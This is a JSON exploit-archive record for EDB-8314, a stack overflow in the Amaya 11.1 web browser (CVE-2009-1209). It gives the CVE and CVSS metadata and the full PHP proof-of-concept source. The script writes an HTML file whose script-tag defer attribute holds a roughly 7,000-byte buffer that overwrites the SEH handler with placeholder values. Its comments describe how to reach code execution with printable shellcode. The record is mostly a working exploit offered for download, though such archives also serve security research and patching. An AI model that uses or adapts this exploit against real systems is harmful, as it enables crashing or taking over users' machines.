{"exploit":{"id":"EDB-8314","name":"Amaya 11.1 - W3C Editor/Browser (defer) Stack Overflow (PoC)","description":"Amaya 11.1 - W3C Editor/Browser (defer) Stack Overflow (PoC)","cves":["CVE-2009-1209"],"author":"Alfons Luja","published":"2009-03-30","platform":"windows","type":"dos","language":"PHP","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/8314","path":"exploits/windows/dos/8314.php","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-8314.php","vulnerabilities":[{"id":"CVE-2009-1209","state":"PUBLISHED","title":null,"titleSource":null,"description":"Stack-based buffer overflow in W3C Amaya Web Browser 11.1 allows remote attackers to execute arbitrary code via a script tag with a long defer attribute.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2009-1209","cvss":{"version":"2.0","baseScore":9.3,"severity":"high","vectorString":"AV:N/AC:M/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2009-1209"},"updatedAt":"2024-08-07T05:04:49.301Z","retrievedAt":"2026-11-27T01:50:45.348Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-8314.png?v=2","url":"https://exploitbin.com/exploits/EDB-8314","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-8314/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-8314/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"<?php\n\n/**//*\n\n     Amaya 11.1 W3C's editor/browser\n     Stack Owerflow POC\n     Discover by Alfons Luja\n     Thx : OiN\n     select * from friends --\n     This stUff overwrite SEH in my box XP home sp 2\n     To correctly overwrite seh you must upload \"remote_love.html\" to remote server\n     Amaya allow only printable shellcode in this case\n\n     EAX:00000000\n     ECX:43434343\n     EDX:7C9037D8\n     EBX:00000000\n     ESP:0012DDD0\n     EBP:0012DDF0\n     ESI:00000000\n     EDI:00000000\n     EIP:43434343\n\n\n*//**/\n\n$junk = \"\\x41\";\n$n_seh = \"\\x42\\x42\\x42\\x42\";  //pointer to next seh\n$h_seh = \"\\x43\\x43\\x43\\x43\";  //seh handler\n\nfor($i=1;$i<7000 - (4*19) - 10;$i++){ $junk.=\"\\x41\"; }\n\n$junk.=$n_seh;\n$junk.=$h_seh;\n$hello = \"<script defer=\\\"\".$junk.\"\\\">\";\n\n$hnd = fopen(\"remote_love.html\",\"w\");\n\n       if($hnd){\n\n          fputs($hnd,$hello);\n          fclose($hnd);\n          echo\"DONE !!\\n\";\n\n       } else {\n\n          echo\"Kupa !!\\n\";\n\n       }\n\n?>\n\n# milw0rm.com [2009-03-30]","sha256":"fbd6490ceef9fd4ce7bc435c2ff47b3e88ec01abc2369e8ced9d10cb6d2ae396","bytes":980,"fetchedAt":"2026-11-27T06:13:02.375Z","encoding":"utf-8 (display only; download retains original bytes)"}